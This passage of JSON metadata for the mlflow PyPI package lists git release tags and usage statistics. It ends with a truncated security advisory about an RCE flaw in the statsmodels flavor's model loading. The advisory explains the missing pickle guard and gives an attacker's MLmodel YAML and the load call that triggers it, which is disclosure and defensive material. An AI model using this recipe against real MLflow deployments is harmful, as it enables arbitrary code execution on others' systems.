g:github/mlflow/mlflow@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.5.0/manifests"},{"name":"1.4.0+criteo.1576594599","sha":"ab78e186cc75250ad6295916c8245540a1d98ac6","kind":"commit","published_at":"2019-12-17T14:41:22.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1576594599","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1576594599","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1576594599","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1576594599","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1576594599/manifests"},{"name":"1.4.0+criteo.1576588339","sha":"aaf65da1a2d05ca02a7ace551a94e7bc53ceb9a0","kind":"commit","published_at":"2019-12-17T13:07:39.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1576588339","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1576588339","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1576588339","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1576588339","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1576588339/manifests"},{"name":"1.4.0+criteo.1576154761","sha":"b8741a351a8739287fce043adc1dd5bedb88a527","kind":"commit","published_at":"2019-12-12T12:42:24.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1576154761","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1576154761","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1576154761","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1576154761","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1576154761/manifests"},{"name":"1.4.0+criteo.1575984945","sha":"7b8ebf08acc9cc9b53c7f5115021fe71f2404dca","kind":"commit","published_at":"2019-12-10T13:22:14.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1575984945","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1575984945","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1575984945","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1575984945","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1575984945/manifests"},{"name":"1.4.0+criteo.1575908546","sha":"1c20dd2230d46a3b473ab408dbafcb805a2c40aa","kind":"commit","published_at":"2019-12-09T16:15:00.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1575908546","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1575908546","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1575908546","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1575908546","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1575908546/manifests"},{"name":"1.4.0+criteo.1575552470","sha":"2960d569f257dac324e5d5fb25d3790f5de48105","kind":"commit","published_at":"2019-12-05T13:23:03.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1575552470","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1575552470","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1575552470","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1575552470","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1575552470/manifests"},{"name":"1.4.0+criteo.1574945976","sha":"cb0a4219cb260c9f05d9eb898bb4925602220912","kind":"commit","published_at":"2019-11-28T12:55:16.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1574945976","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1574945976","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1574945976","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574945976","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574945976/manifests"},{"name":"1.4.0+criteo.1574687416","sha":"8f074569898d5c766384d7baa3610275f1b003f4","kind":"commit","published_at":"2019-11-25T13:03:48.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1574687416","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1574687416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1574687416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574687416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574687416/manifests"},{"name":"1.4.0+criteo.1574428473","sha":"0b0c5e3fca091e65decdd9a6c893909b8cd8173f","kind":"commit","published_at":"2019-11-22T12:51:21.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1574428473","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1574428473","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1574428473","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574428473","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574428473/manifests"},{"name":"1.4.0+criteo.1574339003","sha":"b994ec6680ff907c4dd1bdcdca47da937ab41947","kind":"commit","published_at":"2019-11-21T12:19:57.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1574339003","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1574339003","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1574339003","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574339003","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574339003/manifests"},{"name":"1.4.0+criteo.1574253689","sha":"1e8ef1c76c17f72d3464e1da2ab990601aad55a7","kind":"commit","published_at":"2019-11-20T12:36:49.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1574253689","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1574253689","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1574253689","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574253689","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574253689/manifests"},{"name":"1.4.0+criteo.1574177271","sha":"ef43d542ef72c15461d312504788b73e52d4dbfe","kind":"commit","published_at":"2019-11-19T12:20:54.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1574177271","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1574177271","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1574177271","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574177271","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574177271/manifests"},{"name":"1.4.0+criteo.1574078003","sha":"26510a61bc35ca8c0dd21f02f4c18b7436cac660","kind":"commit","published_at":"2019-11-18T11:49:35.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1574078003","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1574078003","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1574078003","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574078003","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1574078003/manifests"},{"name":"1.4.0+criteo.1573828370","sha":"3f40532f68274a420c2dd1571cfaddb0a75464da","kind":"commit","published_at":"2019-11-15T12:44:37.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1573828370","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1573828370","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1573828370","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1573828370","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1573828370/manifests"},{"name":"1.4.0+criteo.1573575590","sha":"cc328fe5e81d82dafaf05664c635c6cbd7e67c66","kind":"commit","published_at":"2019-11-12T12:21:56.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1573575590","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1573575590","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1573575590","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1573575590","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1573575590/manifests"},{"name":"v1.4.0","sha":"e41673bd8365b38e27b610d2cc497c480cc73e03","kind":"commit","published_at":"2019-10-30T18:59:05.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.4.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.4.0/manifests"},{"name":"v1.3.0","sha":"b7fca0870d406ff2b66cb8755fd8d9fa14d6102d","kind":"commit","published_at":"2019-10-01T06:22:31.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.3.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"56b50b030a409f336e2d65230146da9e976d2dae","kind":"commit","published_at":"2019-08-12T21:27:31.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.2.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"40f492b0588d3f2aa945c734d91cb3e89e90b3db","kind":"commit","published_at":"2019-07-23T00:36:59.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.1.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.1.0/manifests"},{"name":"1.0.0","sha":"47b6575bf56d9aa06c2d8fe988a25e05326283fb","kind":"commit","published_at":"2019-06-03T23:47:43.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.0.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.0.0/manifests"},{"name":"v0.9.1","sha":"cde6da6fa554b5b2b4f404f0feff5ffa58b9140d","kind":"commit","published_at":"2019-04-22T01:07:31.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.9.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"c3bff03e96668e820875b59f37efd10e3c74e328","kind":"commit","published_at":"2019-03-18T22:23:30.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.9.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.9.0/manifests"},{"name":"v0.8.2","sha":"65dcd0934c9c9f209a29afcfccf91f6213c51d95","kind":"commit","published_at":"2019-01-29T20:58:32.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.8.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"4a2ba7221f29d8acfa1199d4341283d2ec8bdcc6","kind":"commit","published_at":"2018-12-21T22:40:32.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.8.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"505e81cb52101ce7b3ad78df79461eedfb9563fa","kind":"commit","published_at":"2018-11-10T02:09:22.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.8.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"c8cd4f4a5e377b70c575e3510aa9a0d95364ca9c","kind":"commit","published_at":"2018-10-01T22:51:31.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.7.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.7.0/manifests"},{"name":"v0.7","sha":"41f493248972a231e2c74e9a95a4676d43b1af4f","kind":"commit","published_at":"2018-10-01T22:50:47.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.7","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.7/manifests"},{"name":"v0.6.0","sha":"56491ed962f1f5455e844401dfe0c595d59aceee","kind":"commit","published_at":"2018-09-11T00:35:31.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.6.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"7300f2ab7ab37b387ee2ca2339188deea587c51a","kind":"commit","published_at":"2018-08-25T01:03:47.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.5.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.5.2/manifests"},{"name":"list","sha":"7300f2ab7ab37b387ee2ca2339188deea587c51a","kind":"commit","published_at":"2018-08-25T01:03:47.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/list","html_url":"https://github.com/mlflow/mlflow/releases/tag/list","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@list","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/list","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/list/manifests"},{"name":"v0.5.1","sha":"e23bb943a85a019af87572884f5565ce65822300","kind":"commit","published_at":"2018-08-23T18:39:00.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.5.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"faf43d9f181e5e72bb9202f498e2f878034c0df6","kind":"commit","published_at":"2018-08-18T02:42:39.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.5.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"361520a739ed1917149b9979ba13c3cef32dfc11","kind":"commit","published_at":"2018-08-08T01:37:14.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.4.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"3724210a11ede09f7d9f7fd929cb1c6577a5d947","kind":"commit","published_at":"2018-08-03T23:14:30.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.4.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"1480e60d3bd0844220c260352ea22341f47bb279","kind":"commit","published_at":"2018-08-01T21:40:53.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.4.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.4.0/manifests"},{"name":"v0.3.0","sha":"d193e8771821d92c6affb49f296e4f4c0d9940b0","kind":"commit","published_at":"2018-07-18T18:36:03.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.3.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.3.0/manifests"},{"name":"v0.2.1","sha":"0b284d9d814a77a331deb264467a492b9cbf770e","kind":"commit","published_at":"2018-06-28T20:08:50.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.2.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"8a8aa42aed73421f7bd147e70f87a97c81920e03","kind":"commit","published_at":"2018-06-27T16:19:13.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v0.2.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v0.2.0/manifests"}]},"repo_metadata_updated_at":"2026-10-06T02:16:23.479Z","dependent_packages_count":360,"downloads":19887934,"downloads_period":"last-month","dependent_repos_count":5089,"rankings":{"downloads":0.0660299665998419,"dependent_repos_count":0.13774584699022574,"dependent_packages_count":0.08125354223258321,"stargazers_count":0.28723035470931224,"forks_count":0.1944215683217567,"docker_downloads_count":0.652596169895104,"average":0.2365462414581373},"purl":"pkg:pypi/mlflow","advisories":[{"uuid":"GSA_kwCzR0hTQS1ncXZnLWdtbXgteDRobc4ABnVU","url":"https://github.com/advisories/GHSA-gqvg-gmmx-x4hm","title":"MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False safety control bypassed by mlflow.statsmodels flavor — RCE via crafted model artifact","description":"## Summary\n\nMLflow introduced `MLFLOW_ALLOW_PICKLE_DESERIALIZATION` as a security control to prevent unsafe `pickle.load` execution during model loading, in response to CVE-2024-37052 through CVE-2024-37060. When set to `False`, operators expect all pickle deserialization to be blocked. The most recent related fix (#21188) patched a bypass in the pyfunc flavor.\n\nHowever, the `mlflow.statsmodels` flavor completely omits this guard. An attacker who places a crafted MLmodel artifact into any accessible artifact store can trigger arbitrary code execution on any process that calls `mlflow.pyfunc.load_model()` against the malicious model — **even when `MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False`**.\n\nThis is a security control bypass. The operator believes pickle RCE is mitigated; the statsmodels flavor silently ignores the control.\n\n---\n\n## Root Cause\n\n`mlflow.pyfunc.load_model()` dispatches to flavor `_load_pyfunc` implementations via:\n\n```\n# mlflow/pyfunc/__init__.py L1170-1172\nmodel_impl = importlib.import_module(conf[MAIN])._load_pyfunc(data_path)\n```\n\nThe guarded pattern (from `mlflow/sklearn/__init__.py` L526-533, the reference implementation) is:\n\n```\nif (\n    not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()\n    and not is_in_databricks_runtime()\n    and not is_in_databricks_model_serving_environment()\n):\n    raise MlflowException(\"Deserializing model using pickle is disallowed...\")\n```\n\n`mlflow/statsmodels/__init__.py` has **no such check**:\n\n```\n# L307-320 — no guard anywhere in this file\ndef _load_model(path):\n    import statsmodels.iolib.api as smio\n    return smio.load_pickle(path)   # calls pickle.load() directly\n\ndef _load_pyfunc(path):\n    return _StatsmodelsModelWrapper(_load_model(path))\n```\n\n`statsmodels.iolib.api.load_pickle` is a thin wrapper around `pickle.load`. Its own docstring warns: *\"Never unpickle data received from an untrusted or unauthenticated source.\"*\n\n---\n\n## Trigger\n\nAn attacker crafts an MLmodel YAML that specifies `mlflow.statsmodels` as the loader module:\n\n```\nflavors:\n  python_function:\n    loader_module: mlflow.statsmodels\n    data: model.pkl\n  statsmodels:\n    data: model.pkl\n    statsmodels_version: 0.14.0\n```\n\nWith a malicious `model.pkl` placed alongside it in the artifact store, any call to:\n\n```\nos.environ[\"MLFLOW_ALLOW_PICKLE_DESERIALIZATION\"] = \"False\"\nmlflow.pyfunc.load_model(\"models:/MaliciousModel/1\")\n```\n\n...deserializes the pickle file with **no guard check**, executing arbitrary code with the privileges of the calling process.\n\nOn default MLflow deployments (no `--app-name basic-auth`), authentication is disabled, so artifact upload requires no credentials.\n\n---\n\n## Affected Code\n\n- `mlflow/statsmodels/__init__.py` L307-310: `_load_model` — calls `smio.load_pickle` without checking `MLFLOW_ALLOW_PICKLE_DESERIALIZATION`\n- `mlflow/statsmodels/__init__.py` L313-320: `_load_pyfunc` — dispatches to `_load_model` without checking the control\n\nPermalink (commit `0b0c576c`):\n- 